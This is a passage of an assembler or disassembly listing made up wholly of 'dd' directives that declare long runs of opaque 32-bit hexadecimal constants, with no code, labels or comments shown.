		dd 0CB83BE3Ah, 2B13D61Dh, 9F2314DAh, 46CFB05Ch,	0F0A200D4h
		dd 3AB9CBD3h, 4902398Bh, 98E6A9E5h, 456EC0F5h, 0C55B811Fh
		dd 7D033060h, 0A5B1D5D2h, 87E924B9h, 0E3A38558h, 0B4EB52D5h
		dd 29885761h, 19F12585h, 0F84B874Eh, 6281078Ch,	1B9D2CD3h
		dd 9EEBC840h, 0DF504F38h, 522B83CDh, 0E763E606h, 48F9FE10h
		dd 84BD5C31h, 6A78AE09h, 0C07ACDDDh, 0A38E909Dh, 583DB15h
		dd 1ACA4AF6h, 0EAA7945Ah, 84EC93F5h, 0A39A0034h, 0C2D7DB87h
		dd 0B73CCED4h, 978F34Ah, 2E97067Fh, 0BF019C21h,	52C4CECAh
		dd 60383D29h, 0A21BB396h, 5F9A004Ah, 0DBB0ABF8h, 7E07005Eh
		dd 821F0C87h, 605C6159h, 58EA74F0h, 1DCABB6h, 708D48C5h
		dd 0C81BBB02h, 3A9575CEh, 0D465547Eh, 12A6023Fh, 60306793h
		dd 950B568h, 96B7BCEh, 5F81CBD7h, 88ABDA4Ch, 1C70CA14h
		dd 3B1E909Dh, 81FC5CE9h, 4E67DA24h, 0B655342Eh,	2FF3E167h
		dd 0DB3202Fh, 54013121h, 6026F6E5h, 0C8EAB52Bh,	7F2950AAh
		dd 20B994BDh, 6A8B95D4h, 8484F3BDh, 0C88325D7h,	2B674C75h
		dd 4A8A5Ah, 0B1F676E3h,	2522884Ch, 96C6EBCDh, 9D046CB6h
		dd 75B83CB3h, 459529C1h, 6E2A0911h, 7FE50079h, 7AA6108Eh
		dd 0ECD35079h, 111B4CD1h, 1204A8A5h, 97E11178h,	31C6E6Fh
		dd 153F01FFh, 7E7F901Fh, 0DABF1E96h, 0C105D2DEh, 82FDC5BAh
		dd 4DBB7D16h, 34305757h, 13402DBDh, 37677768h, 34362763h
		dd 0F5FB895h, 627CBE98h, 52BD0160h, 0BD35A3A9h,	8D619642h
		dd 0FC705485h, 0A127EC00h, 0A0723295h, 0EB904B82h, 559D2E30h
		dd 0F8FC8135h, 0D0E55B50h, 3D258D31h, 69147124h, 335018FBh
		dd 8953067Dh, 0DB1A25B5h, 90E4C5ADh, 15EC4FB9h,	0E6DC098Ch
		dd 0E87788B7h, 29EA91Eh, 0FC94113Ch, 617B6EF9h,	7B7A9804h
		dd 8DB2F80h, 0F5F1535h,	0A584A58Eh, 3138AB05h, 6027D634h
		dd 0C58531E8h, 9DE92740h, 8E2B5FFEh, 211BA78h, 530D148Ah
		dd 1D5709A1h, 837BD229h, 612050h, 0E471F77h, 8D89C0FAh
		dd 4901B520h, 0D3BC06F9h, 898A2A4Bh, 1AF9E421h,	0B202C418h
		dd 6B91DB79h, 9A0A4592h, 56F15FB5h, 0B10911A4h,	0BF4271E3h
		dd 6099CC4Ah, 9425148h,	89BCF9D6h, 841959FFh, 0BE961FB3h
		dd 2760ACA0h, 0BB758F0Fh, 0C746E82Bh, 19746Dh, 0BACD8B0Eh
		dd 0B1752AB5h, 2D0135E2h, 80966136h, 427399CBh,	0D36FAA00h
		dd 5214C158h, 0D56E0F00h, 7480D972h, 24A80AE9h,	6268D370h
		dd 35CDE8Bh, 2700E865h,	0D7790643h, 2C6D00C0h, 0B38E2030h
		dd 0C0338DDh, 0CA4D325Eh, 5B402B7Fh, 0FC642781h, 1678AB3Eh
		dd 9D30C460h, 7EB1D146h, 6B1F12D5h, 4F27E35Fh, 7A00266Eh
		dd 0A8839088h, 0BD12750Eh, 41B11B6Eh, 0ED3B342Bh, 2C8FB8BBh
		dd 805A3D2Eh, 183FBCBh,	274B51B5h, 9849398Bh, 0F5E71ACh
		dd 0B040A5Ch, 0AAA151BDh, 6F3E122Bh, 0A6A00BE8h, 48720E8Ah
		dd 405A2526h, 3E342EEDh, 917AF630h, 3A9B3FF4h, 20D1A780h
		dd 0AE6B6D99h, 84861039h, 5138FCC5h, 65528Ch, 1DFD5BD4h
		dd 0F5C62168h, 937BD600h, 0CE03758Ch, 5B0E2824h, 0B88627B0h
		dd 5C60536Fh, 0FBF3B9Ah, 5A7C60BDh, 748B1327h, 5EB1EBC5h
		dd 0DB80EF1Eh, 8B4AE749h, 0E984FB5Eh, 23806BAEh, 6E9E0B15h
		dd 5D0CCE84h, 29208296h, 4BCD8D01h, 7C8D4114h, 2E37B547h
		dd 30DA6074h, 0FE256EC0h, 0C618F7EBh, 0FACE72F3h, 82939896h
		dd 1DD25D7Ah, 15F8D900h, 7D75CEE2h, 0D1BB00F5h,	26FA9C6Ch
		dd 5F5F519Eh, 4142FE1Ah, 95751DDFh, 23126B2Bh, 0A805381Ch
		dd 0C1C62D85h, 2E276DA4h, 8F97334h, 450097B8h, 79BBFE9h
		dd 12899055h, 0E31539BDh, 0F5618996h, 8F40B6CFh, 4590BB1h
		dd 0F529C55Dh, 359EA0CFh, 97515080h, 76B7AB4Ah,	43376480h
		dd 3138369h, 14BD4BA6h,	5CA9D33h, 0CD097C0Ah, 79AEDB28h
		dd 9611819h, 6FA28D72h,	0DBBF9982h, 2059F782h, 25DE5929h
		dd 6070FADBh, 755B00CCh, 65AC4F78h, 0E09570EDh,	0BC0312A5h
		dd 3C63215Fh, 0FCC6FB25h, 12DC9694h, 0E235964Fh, 0DB9B89F6h
		dd 67E6D840h, 96D91016h, 4BD0DB10h, 36BA9Ch, 3E7D74C4h
		dd 0F5FB1A45h, 173A4FFCh, 95E25010h, 742F6189h,	0A80BFD0Eh
		dd 897400E0h, 0CD1B9B43h, 4DB8214Ah, 0E2977925h, 80A5B719h
		dd 6083085Ch, 98FED082h, 119D291Ah, 7A1B5CA9h, 1D4EF5Eh
		dd 0BD49E1D8h, 2FFFB29Ah, 234B4C2h, 215ED3E9h, 0A9F88A0Fh
		dd 700A73C1h, 0E6092DA5h, 7970B384h, 43B7AD21h,	8DF39700h
		dd 2F63FDF9h, 6BE0EE7Bh
		dd 904C19BEh, 9D0922EFh, 4B4B42DCh, 9187D2D1h, 112E9097h
		dd 8048A8E4h, 67E18125h, 0D9ED2F6Ah, 664A7BB9h,	0F0B241Ah
		dd 1405E68Ch, 8380C9C3h, 0FF952673h, 6D00F4DDh,	9187C9F8h
		dd 0EBFC9A7Fh, 0F3F032Fh, 0F7850C8Fh, 2D986233h, 0BB500004h
		dd 5E2DA59Dh, 53F5090Eh, 21CB7044h, 0E9DEC705h,	0B2096062h
		dd 7A7F44CAh, 752200E3h, 7EA38339h, 91E80C0Bh, 1D2F6307h
		dd 38534CD2h, 0DA381761h, 487A6Ah, 0C9D30E9Eh, 13F896D8h
		dd 0CD5DADA8h, 8DC3110Bh, 8065170Bh, 3FD3C961h,	77B257FEh
		dd 68161600h, 6D018AD0h, 25C5615Eh, 742F44C3h, 13F6FA6Eh
		dd 3816E6A0h, 0D5881F4Ah, 0B4060054h, 0C37877Fh, 2E014C2Fh
		dd 5EC6687Ch, 47E0B04h,	0A9285173h, 6CA080F1h, 326667Dh
		dd 0E24713B2h, 0AEF85658h, 0CD4C32DEh, 60D12DE2h, 833405F3h
		dd 1A554A10h, 8CE56125h, 90A7611h, 808B498Dh, 141FBE60h
		dd 894C43A3h, 4121309Fh, 4BB3026Ah, 0FB55C282h,	826D2A4Ah
		dd 31F4D7E0h, 7FB500B1h, 8550CF81h, 0CAB93D91h,	7DB75F27h
		dd 0D14A5D85h, 0DD77F506h, 4EFE5CAAh, 9029910h,	790D1AE9h
		dd 848A6481h, 0BCC4EDD5h, 570B1C97h, 6562C5E4h,	15BE0403h
		dd 0E5B91208h, 161890DCh, 21055250h, 0C7E5702Eh, 0DAF02236h
		dd 0DF040297h, 99E87CAEh, 13B98D81h, 23787A2Fh,	3A9F0217h
		dd 0C3C048B1h, 614BD7B7h, 16E20DA6h, 4B07BD30h,	6E7A8817h
		dd 0A9C5DD00h, 0C27BF706h, 41D7190h, 0A5B58948h, 8A0F0424h
		dd 19FF31AEh, 0B8B8041Bh, 90A2D6h, 24B68820h, 530936h
		dd 0FCA02CBDh, 0C007E045h, 6EBF6A4Fh, 0E5491791h, 0CFDA206h
		dd 43815997h, 0E3CFB8D2h, 379D129h, 0FEFF030Dh,	8CB60800h
		dd 71E470E6h, 0D3964BB3h, 3D09DD87h, 49B53150h,	0B2F5F7Bh
		dd 0F7C4F87Ch, 0C0B43103h, 25731960h, 7FE45B84h, 29BB660Bh
		dd 0A1F00E55h, 3104373Fh, 0F780F2Fh, 6C7F1D69h,	38400A4h
		dd 71EF014Fh, 94002902h, 0B4330D74h, 4A5BB98Ah,	0E2B2CDE0h
		dd 0BF808F5Eh, 0C82B671Dh, 9D231560h, 24D9265h,	0D13AFB39h
		dd 0E9AD885Ah, 17236C5Bh, 5EE585D5h, 0B383442Ah, 6F60BC2Bh
		dd 0E298DC6h, 0E1A3B3C3h, 482F76A4h, 0B7890E45h, 40CF5E1Eh
		dd 2CBBFA8Bh, 0CDFDD624h, 3310F24h, 29C2860Fh, 24114771h
		dd 0A1B52577h, 0A5EA938Fh, 0A29241Bh, 0B4EF7595h, 29550F0Ch
		dd 0BC17A984h, 0A15A053h, 8A549FFFh, 38C27BDCh,	100C7E16h
		dd 80465AB7h, 0E62FCB25h, 4466A748h, 0A5D56017h, 0BF86A145h
		dd 39100D28h, 6B91E1Fh,	5C4CEFh, 6F11992Ch, 0B6329110h
		dd 2A396E58h, 5F4BE6C5h, 0B6F16EC4h, 11537DD2h,	0C02BFF05h
		dd 59C9BBDBh, 0D22BE683h, 465ED8A2h, 0CD7D407Ah, 0A80B10Bh
		dd 0F68E1CB5h, 7D62B309h, 286079CCh, 31AD2D69h,	0B5974516h
		dd 0EC00034h, 4FAB25DDh, 0F8C1B950h, 4B579B97h,	0E23A8B12h
		dd 0FFD43017h, 29E6B402h, 522BC19Dh, 3C2FF192h,	0E48A532Bh
		dd 603E0001h, 0CF2FA5F7h, 0DB0069ABh, 9CD06AE1h, 0EBD1CFEh
		dd 0B8B79B4Fh, 0EC33F913h, 2D150145h, 704B3B96h, 3B302F90h
		dd 0CF3DFBFh, 0E1FF4234h, 324AE9C0h, 128813F3h,	148B787h
		dd 0B3242DF2h, 1808E415h, 0E035FFA5h, 21761487h, 74A194F2h
		dd 0C7909CDh, 0ADC43C79h, 90681F53h, 7D602714h,	648030B5h
		dd 0BF8433DDh, 834112D9h, 6034F532h, 0CC951A09h, 58DDB3B9h
		dd 740B6E6Ch, 0D0377D6Fh, 522497D2h, 2EAD521Ah,	0E92FA9B8h
		dd 2059108Bh, 0B3411DF0h, 43F161Eh, 0AC439D2Bh,	79E3D269h
		dd 0DC6BBA4Fh, 988E3D25h, 50901730h, 0AEECC91Ch, 40B73101h
		dd 0B3F0585Ah, 9388F2DFh, 0DC4F2E61h, 2AEA3A01h, 0A26063B4h
		dd 2779D6ACh, 68064FE6h, 0D41046B8h, 82F8FA8Ch,	0E53F3857h
		dd 0BE44B5CBh, 0EBD470Ch, 4A311A2Ch, 304ECD2Fh,	6089128Bh
		dd 27DF203Fh, 0E3265895h, 4108385Ah, 13611315h,	8270DFE7h
		dd 0D673CD3Ah, 0B36F289Bh, 0E9FE028Ch, 0BCF20182h, 95163D20h
		dd 18646A6Dh, 7E8BE160h, 0C6952325h, 0F510BFCh,	6E94178Ah
		dd 48D0B607h, 8826A02Eh, 0EB5C0050h, 6A29ACDh, 5B25D97Ah
		dd 5979735Fh, 0E211819h, 0B806503Dh, 4AFEE3B2h,	5C2DD3C2h
		dd 265B6BFEh, 7238050h,	361C89B7h, 2D8D4191h, 0FD752E08h
		dd 460BA5EDh, 0A15AE804h, 1A0067E0h, 0C4D614A5h, 6DE194h
		dd 814EF783h, 0BD31D50Ah, 230C1125h, 3E058A36h,	0A789BF39h
		dd 0F05E3589h, 505A7A04h, 95D70DF0h, 0FCE79102h, 0BD2DFD5Ch
		dd 967581EBh, 6539B509h, 6E533147h, 8668C341h, 0BBE8B93Fh
		dd 0EFE91247h, 7921F037h, 4AA63C3Eh, 0EF01ED6Eh, 0A5BD03EBh
		dd 6FBB0027h, 191525CBh, 504B3BE6h, 0A134FFC9h,	2628047Dh
		dd 0B1A39FDCh, 0B9E720E5h, 17DD254Bh, 5FC9B2FFh, 459D8490h
		dd 0B3633541h, 0B0BEAA3Dh, 0D2DECE85h, 89C4C14Fh, 0C02A7D15h
		dd 3AFBF184h, 0B21C00E5h, 7CD8681h, 0F4F6BB67h,	16976290h
		dd 680970Dh, 820F08DCh,	0B3170262h, 51C8567Bh, 0D67B7B5Fh
		dd 63490F00h, 417674E7h, 52E9F913h, 89899EFBh, 2789E4C4h
		dd 19779CFFh, 0FD3AB210h, 0FECF0002h, 22DB8050h, 0FD1D975Bh
		dd 0BD93B5D2h, 9A5023ADh, 6FFF124Fh, 4A8C0031h,	0A8898B6Ah
		dd 27F624C4h, 3550960h,	33718C5Ch, 99952910h, 0F1CE254Bh
		dd 0C1272034h, 3F565875h, 19C87CDAh, 62973AC0h,	2538EAB9h
		dd 4C73DE8Bh, 0EBB5ADh,	7DE923F2h, 701247C1h, 0D10421DCh
		dd 73AE0671h, 0BCBF0F49h, 3190813Dh, 679E7916h,	0F6D627B9h
		dd 1654A0DFh, 8BB2054Eh, 82969E31h, 0B55318F8h,	37C64380h
		dd 0FA26105h, 8C6E94BBh, 3AF40A20h, 0F1133338h,	4E603948h
		dd 1D41F8Eh, 142F24B5h,	3A96BF90h, 6F80C79Bh, 9798287Fh
		dd 253EF03Dh, 4B224CA7h, 0B90D949Dh, 8006886Ch,	0EE9D9042h
		dd 0B0A112E9h, 7309D251h, 0FC561263h, 5F52C273h, 0D6565E5Bh
		dd 0CD071C46h, 50855EA9h, 92A877E4h, 67BB5203h,	25787EF3h
		dd 0E8598D3Eh, 5F58C491h, 60270A22h, 799BE157h,	0B64ADE33h
		dd 0AB70A47Eh, 26A873Ch, 0CF2C7206h, 0BC76956Eh, 0D4E6BD40h
		dd 0C4BC0082h, 3B6A1A0Ah, 0F4004BEFh, 0EAF94005h, 2A9D01D7h
		dd 97A52931h, 8565F0Fh,	792C1E5Fh, 0EC499E60h, 9B3B0046h
		dd 50E9AC93h, 0C204AB12h, 4B3E0B60h, 3C391B8Ch,	940E18DCh
		dd 44CA25B4h, 20500992h, 29210A82h, 5B274EF3h, 4E51803Eh
		dd 0CEF2EB7Bh, 0DC6A4512h, 6BD3BEB9h, 0C9F404CCh, 0B1FE9D0Bh
		dd 716B2EC6h, 552D1723h, 3750E00Bh, 8F2744D7h, 5B2631F0h
		dd 3DCCB577h, 4101750Bh, 0A254C636h, 59205F7Eh,	0F4B35096h
		dd 0EACA6BE9h, 0B6AE79A0h, 5C2BF204h, 0DAB8F4E0h, 12B9A0D6h
		dd 584BB5B8h, 6527B88Ah, 8680B63Dh, 600E2DDDh, 364202A7h
		dd 0CB58509h, 0FBBB5003h, 5C328AEDh, 0DCD82EBAh, 5A803F00h
		dd 0E9BB178Fh, 26352E07h, 76081172h, 460436FDh,	80635CA8h
		dd 58164671h, 76E903AAh, 0E17062ACh, 44F57CD8h,	91C2335Bh
		dd 0B85B0406h, 0B8D0D1AEh, 0E3008C19h, 665C3139h, 0E2B52927h
		dd 0A4C5B524h, 164CB5A5h, 2BAA8D82h, 0ADB2D912h, 0BE13378Eh
		dd 21CB3B9Bh, 9F11A82h,	899C3857h, 3AD2D9Dh, 0F93F9D71h
		dd 3F970CF6h, 831D9149h, 0D0CA3B67h, 90BB53DFh,	0FA30801h
		dd 0CBA40688h, 927D908h, 810E26E9h, 0D2355236h,	53D5C11Bh
		dd 0F4465866h, 1955602h, 0FC6A37F5h, 0CC5D4086h, 0F301FC06h
		dd 146CE9C0h, 0B7F6B9Fh
		dd 675C5BEAh, 3D7329C7h, 0D98D0021h, 0F39DBF61h, 949036FCh
		dd 75859902h, 2904891Bh, 0E45356DBh, 0B11F0687h, 788ABB05h
		dd 0F3BAF66Ah, 6A75F94Eh, 0C72B9B3Eh, 0FC10D398h, 3849178Eh
		dd 0CAD0505Bh, 101E4125h, 0FFA44592h, 0DC57549Fh, 84317104h
		dd 34BA74D6h, 467DAC5Fh, 7E4F0F8h, 0F7BD1FD4h, 8B5D85D8h
		dd 0E34ECDDAh, 0E919C6E8h, 971ADB4Eh, 8EB602D8h, 1DF9820h
		dd 195924B5h, 0D38140EDh, 0E1250AE2h, 952DC670h, 73ED1DBAh
		dd 0BB943640h, 0A5C90B96h, 0BC05D1FFh, 2A11A12Dh, 8857E428h
		dd 0E802F781h, 6A3CE48Ah, 0DCD07C02h, 0ADE32105h, 0F18C90F6h
		dd 0E54D1CAFh, 791CFF15h, 24CC0CAh, 41FBEB6h, 980F7A2Ah
		dd 90F57713h, 8CD493F8h, 668C974Dh, 3612B3A6h, 0C5B3C5E9h
		dd 2A44F84h, 74F98D09h,	0CA3EF623h, 26E302A5h, 7EF6A955h
		dd 0B71912CFh, 986034CBh, 5C5A4782h, 3110C0h, 4EBF9061h
		dd 0DD3B8DAAh, 87B5CFE4h, 0B826BD72h, 27BE000Eh, 8CBA6A13h
		dd 0F8260A72h, 0F50DB960h, 4623732Bh, 7FBE9600h, 1497DA1h
		dd 359D211Ch, 0AC05A0F3h, 0EF595F09h, 0DE37D527h, 384D2887h
		dd 996497A1h, 826E84C5h, 9CD7134Ch, 0F035BD02h,	0A9910900h
		dd 0FC9F27EAh, 0E59D1823h, 0BD2B5E33h, 6E06D125h, 0DFC880E2h
		dd 6A5F3EC0h, 0D1B51B7Ah, 0EDB1270Ah, 0D48B1305h, 218EB6ADh
		dd 5DBF01B0h, 0B06CBB9Fh, 40396264h, 7050E634h,	47C4A9BAh
		dd 1AB871E4h, 7909EC80h, 7409D480h, 80EFFDCDh, 18B1EA18h
		dd 0CBA495A4h, 0F0A658EEh, 9559F63Bh, 3D2045C4h, 0B7569F21h
		dd 5CDB8567h, 5C58EB8Dh, 0DCA4E30Bh, 27885C5Bh,	0D054BD92h
		dd 6406F817h, 6F51DFDh,	800FE2F7h, 10B04502h, 2B98B309h
		dd 345102C8h, 6B3569Eh,	2799E9FEh, 35240B5Ah, 935CF8C4h
		dd 7B0E7D2Ah, 800DAC17h, 1E4E0A60h, 5A373D65h, 0B9FB4612h
		dd 0ADE3421h, 0A92964BAh, 1E1C22C0h, 4A66DB81h,	1ABD1FBBh
		dd 79D109h, 0F269F731h,	4AF2AB31h, 6FCE547Fh, 73801348h
		dd 0B2C91D24h, 1B0D07CCh, 10B7910Fh, 85A5158Dh,	2462D812h
		dd 202DE0B2h, 2792ECD1h, 8090E0B3h, 0C5D3BB80h,	80126265h
		dd 0DCB633D7h, 84191B10h, 52BF9531h, 5EBCA335h,	0D080A69Bh
		dd 905D7291h, 0F0BBCE14h, 8611094h, 0F49B909h, 0E04ACDF5h
		dd 0D55993B6h, 0AB5F8302h, 56086FD9h, 4E5325CDh, 121DA970h
		dd 14C5E17Ch, 0D91065B8h, 42BF002Dh, 0FC20B80Ah, 11E32580h
		dd 0EFE0F54Fh, 0BE1E511h, 0F09D6ACCh, 0AEC42C04h, 0E3FD4416h
		dd 0F80B7BECh, 60AB57h,	0B58BD9F2h, 0A87CBEA1h,	0A913B67h
		dd 2BEF99CFh, 0DB2A343Dh, 0C4C58064h, 26F167BDh, 31E3BF4h
		dd 0CEA3E7Eh, 89D1E62Ch, 5C348B2Fh, 0DB1CDEDDh,	0B38F077Ch
		dd 51DAD36Bh, 9DC019C8h, 25CA2D01h, 9EF9A85Fh, 35101305h
		dd 49455CBBh, 0F1F08334h, 87B66E95h, 60EBE039h,	7A2C079Ah
		dd 3FA88EA0h, 0FC4E8E98h, 5CFE2282h, 35B5748Ah,	33FA00A0h
		dd 0E2ACF63Bh, 8D1ABF09h, 1B0924BAh, 6AE28AB8h,	0B48DAC2Ch
		dd 95832A55h, 0F60020BDh, 2A0C649Ch, 20524FE6h,	1EC5804Dh
		dd 5B8FD212h, 815B82E3h, 3EE1FF3Eh, 3239606Eh, 8AAEC581h
		dd 2062D77Bh, 1A4B1248h, 0A533A18Ah, 0DDE9895Bh, 9F382E04h
		dd 0DE035EADh, 733E8101h, 233E4694h, 8B884D0Eh,	7F016C7Ah
		dd 59B350Fh, 282E04CDh,	2B893AA7h, 0DA10E471h, 133FF781h
		dd 0F0441D69h, 174A7192h, 0DB4EC3E2h, 130A818Bh, 172E031Fh
		dd 3516EA8h, 0A45910E7h, 0EB0CB9C2h, 6952E060h,	86CACA6Ch
		dd 6B983A2h, 0B9B96104h, 622DFC2Eh, 0FD54154Dh,	0EAE4BFE0h
		dd 8C414B5Bh, 0BD2C0996h, 0C1A73425h, 722CDFE6h, 8022DB4Bh
		dd 0C44E90DDh, 6AF8258Ah, 65804237h, 23B90261h,	0A5916FEh
		dd 7BF2E29Dh, 4D80C800h, 0B57EC520h, 12537896h,	0C0F3A82Eh
		dd 68E92A28h, 543A3909h, 0A0ACF819h, 750FB460h,	0A12B0B31h
		dd 93546EB8h, 4B39C640h, 0BD010B19h, 0FEFE1D4Dh, 0E3BD1257h
		dd 9D0105A0h, 7DD23299h, 7439EA78h, 9200DC45h, 23BB694Bh
		dd 9734599Dh, 0C7809B38h, 0DF3F84Eh, 8984CC4Ah,	0DF96AF9h
		dd 0EE6BD44Ah, 3A12926Fh, 5F67E3F3h, 0C680219Bh, 0FC2FBC9Bh
		dd 0C4FA4A00h, 89F8FFB8h, 78A8BB06h, 0F9E260F1h, 1E63CA1Dh
		dd 58C985A4h, 64DEF27Fh, 81D81A96h, 217BB612h, 80CB510h
		dd 77040F1Ah, 3B676200h, 967D1560h, 276D8D10h, 286BCD4Ah
		dd 6042093h, 10DB4068h,	975EAEh, 0E28BFCCh, 0E6F84A52h
		dd 3014B259h, 43B051B3h, 5B1FA59Fh, 316130EEh, 0B294F1B5h
		dd 54001291h, 0D63E1C11h, 460ABFBEh, 943B84C4h,	8A0F50E1h
		dd 0A496252Ch, 40A0E9ECh, 621CCA9Eh, 322669AEh,	0C9678500h
		dd 2FC9744h, 0BD70EE92h, 0B0D7B07Bh, 96C99D88h,	0C2532D76h
		dd 1ED1878h, 825DC465h,	0E7AD2ABh, 6E645F48h, 333DAEDDh
		dd 4E7BA83Eh, 4000C56Eh, 0EEFCB37Fh, 0BD132BBAh, 34961BC1h
		dd 95892D29h, 5BD40957h, 0FA897D34h, 3D79B3h, 0B00ABAA0h
		dd 0C200F8E0h, 1350905Fh, 492085FDh, 0D545000Dh, 80116D45h
		dd 0DF8101D0h, 357FA851h, 542B282Eh, 7BBA0B9Fh,	58BF7097h
		dd 99CF0D00h, 3692F422h, 9B7A48B7h, 3C217D12h, 44F1B0Fh
		dd 13009D7Ah, 80BB3E7Bh, 63209E86h, 0D5E56192h,	7D6DB756h
		dd 6AA8925Eh, 0ABE37A12h, 1423776Bh, 0B2BF9400h, 9501AAB8h
		dd 4856A39Ah, 0D473FEEBh, 0B5A1C702h, 0E103F46Fh, 0EC0411A3h
		dd 8A530990h, 0E492F0D9h, 3A4E18Dh, 9882F9Dh, 6F01D63Ah
		dd 83C1A11Bh, 453131B7h, 302B9C19h, 0AEF802Bh, 87400E94h
		dd 0E41FE54Fh, 928F022Fh, 1DECAE0Fh, 0F9588AB2h, 64EE104Fh
		dd 2D8DC16Ch, 35AC1429h, 6A32578Dh, 5C5B8549h, 0F6625DAh
		dd 53273E9Eh, 8087213Ah, 8E39F381h, 89957B0Bh, 7019F3CCh
		dd 1C014CE5h, 0EA1FE4ABh, 227B830Fh, 0BF108E71h, 90FA12A8h
		dd 12C5E86Eh, 0D9B1FCB1h, 0F8F07B26h, 0EA709825h, 1AA2CC5Fh
		dd 0EBA64913h, 3A4CE2CBh, 0E6FCEBC1h, 4E2EFCB5h, 8D28BA00h
		dd 4AD57650h, 4BA2EED9h, 41078DFCh, 2B1DEDCFh, 895AEA2Dh
		dd 5804C9C9h, 0BC20FA91h, 4A78BF66h, 84C0F30Ah,	7ABB1EF9h
		dd 346301E1h, 9612B72Bh, 453D167Fh, 0AB0E8F25h,	0C767DE70h
		dd 0E4A11CF4h, 5823D2ADh, 0A70B9EA0h, 96019E90h, 9AE9C381h
		dd 58496004h, 0E80853Ch, 9A8FA7C3h, 0C669EC00h,	44AFFD0Dh
		dd 0B4F3A2Dh, 84BCC289h, 0EDE9EF56h, 86D84020h,	0FB0080A6h
		dd 494FBBDBh, 91870FA3h, 0BA33129Bh, 0F7A83012h, 662027E2h
		dd 0B7474BBBh, 4C50C419h, 0FD00B68Ah, 893E590Ah, 0E8BF9F25h
		dd 696C2535h, 0CFA0E85Ah, 65B51C49h, 1C11115Fh,	99409D79h
		dd 0F7161FC0h, 2BC4008Bh, 0C1B091FEh, 6D95423Ch, 611964A9h
		dd 25E48A14h, 0EC3C48AFh, 1DEB9A04h, 0D49AAB29h, 33C01AC8h
		dd 0F77D7823h, 46053D8h, 2A94DABBh, 615EC275h, 595EA955h
		dd 0ECF8972Ah, 0E2334C9h, 7FA20CACh, 0A4C078EFh, 2D12631Eh
		dd 9877234Ch, 4AE4BFEDh, 4DA3B74Eh, 3DCAC9Ah, 6FCADD65h
		dd 0C499C5F3h, 0C1585BC6h, 0F460C5DAh, 0A1297B70h, 6D2E159Ah
		dd 0A8D12D54h, 0AA5900DEh, 39BC6D50h, 68BC89E4h, 0C4AAAD64h
		dd 15F6BC4h, 73EABD59h,	21300E80h, 0F649760h, 16B9E00h
		dd 0A159B7F3h, 2D820017h, 19AE520Dh, 0B403A381h, 616036BAh
		dd 0C18B9159h, 0E1F29A36h, 42BC1AC8h, 0B5DC6E95h, 0B906E4B5h
		dd 0E6CDACA3h, 97054A8Dh
		dd 0F0B7F26Ch, 0C4AD2F58h, 52C21DE0h, 98A8309Dh, 3A8CC7B4h
		dd 19DB4CD2h, 0F6B1A080h, 3117840Ah, 8ABCAD21h,	0AD04C44Eh
		dd 0BC5E8B1h, 890F1BACh, 5604D0E6h, 2E6DBD0Bh, 258493B8h
		dd 0A42B0FB4h, 73B80571h, 8075FC93h, 138F9699h,	34D00332h
		dd 0EE44DA86h, 0C135BDB8h, 0B589CF16h, 0C6AC7824h, 12A2F834h
		dd 0B8FBF9B3h, 41C7DE7h, 0F93B84CBh, 0EB7AEF3Eh, 8234A11Ch
		dd 3C924AA4h, 2D5A90FDh, 0EE5F00E0h, 3751D61Bh,	53073126h
		dd 0DEBF0FE5h, 352B6EDDh, 0ED251DA8h, 0B3C152EAh, 7F1C1502h
		dd 1258268h, 82BECE26h,	3F2275B9h, 7EFBD1FFh, 0C512F772h
		dd 54E84F5h, 74E2C3B8h,	5C88C92Eh, 51F3603Dh, 24B6A8Bh
		dd 4804BC6Eh, 0C0B70FCFh, 5750DFFCh, 0C9593CE3h, 496AFF5Bh
		dd 7D078561h, 0A5BF5162h, 5475D90Ch, 0D1DC6125h, 6956A57Fh
		dd 2FF1B110h, 0FEA605B4h, 3E5BFEE4h, 7119ACEh, 0A719790Fh
		dd 2D9D6BD9h, 0A4D3B62Ah, 0C8965BB2h, 301E6EB2h, 0E86D4B12h
		dd 0B761C76Ch, 0FF04EB29h, 7C99AA15h, 0EC23D8h,	17AAA640h
		dd 0D1AC5BC5h, 0CBEBFF3Ch, 0DFAAD184h, 0DEED80A2h, 38958D37h
		dd 0AA994076h, 693D8AA1h, 0F14A76EAh, 0A32E1AF1h, 7C6E1EBBh
		dd 541EEFC3h, 4144E2A8h, 0DD2ACAB2h, 7E883EE0h,	87C014Eh
		dd 168EEDA3h, 9DADF4D0h, 64CEA931h, 5B0212D1h, 2E89B6C1h
		dd 3C47DC29h, 0C35F1Bh,	0B847B9EDh, 0B3030008h,	0D8B27DA0h
		dd 8A07F9B9h, 0C18D09D9h, 20B5750Ch, 0D8FC2651h, 5902B197h
		dd 0C1858910h, 0B8B51A4Ah, 0DDC695EDh, 0F30026D1h, 66033C3Bh
		dd 0F99D1029h, 860F8414h, 0E1C5DEB8h, 5332AE25h, 51F22C27h
		dd 122E3341h, 60EFB201h, 0C4CEE660h, 0BD609521h, 8E21A6F2h
		dd 987D2D79h, 973285A3h, 3A60F211h, 11C5E82h, 8011B509h
		dd 0C82B61CDh, 25603CBFh, 0F7C05658h, 6995E9BDh, 0CD6BD83Eh
		dd 83D02847h, 96415Dh, 63FBA862h, 2DD4F7D9h, 328A9F05h
		dd 45C2AEC1h, 9FFCE485h, 539BB610h, 0FB683700h,	85F74023h
		dd 0CD8E0212h, 1486E67Fh, 5BBB995Dh, 917122Fh, 3A03D9DDh
		dd 144B61FAh, 18A5B904h, 51D38100h, 4A4BBF0Ah, 2C1122D2h
		dd 214435D0h, 8D898870h, 0BB9711F6h, 0A1BDE017h, 2CCCB514h
		dd 0C83A5545h, 0F10FD28Fh, 48F75879h, 3A1F8709h, 5E513031h
		dd 0EC589BDh, 0F84EA98Dh, 95843E5Fh, 25BC0685h,	20C7BCA4h
		dd 1521F16h, 3913DB85h,	4AA43642h, 5739E88h, 3098685h
		dd 0A009EF82h, 53A7B67h, 0F9FF2864h, 94CBC85h, 871A7913h
		dd 1B41B4D0h, 7F924CA0h, 60B997C5h, 80F23850h, 38263C05h
		dd 65D4000Fh, 0EE47BF45h, 5B1FB193h, 2B24D7B9h,	29BCF944h
		dd 80389B4Ah, 2F4BE88Eh, 0A33913D5h, 58FDF32Ch,	0AAA52A88h
		dd 0FC4AB77Bh, 0B41A7C9h, 2B0134F9h, 0FE6E6BD2h, 1201F92Ch
		dd 0D6EFE6CFh, 0F6179D6Bh, 212A630h, 933762E3h,	56824A63h
		dd 9D3140EFh, 0C59501E9h, 0D8B5A524h, 2E8BB107h, 4623C160h
		dd 0B23E04E0h, 4104800Fh, 0D5ABBB66h, 51CF302Eh, 853B2957h
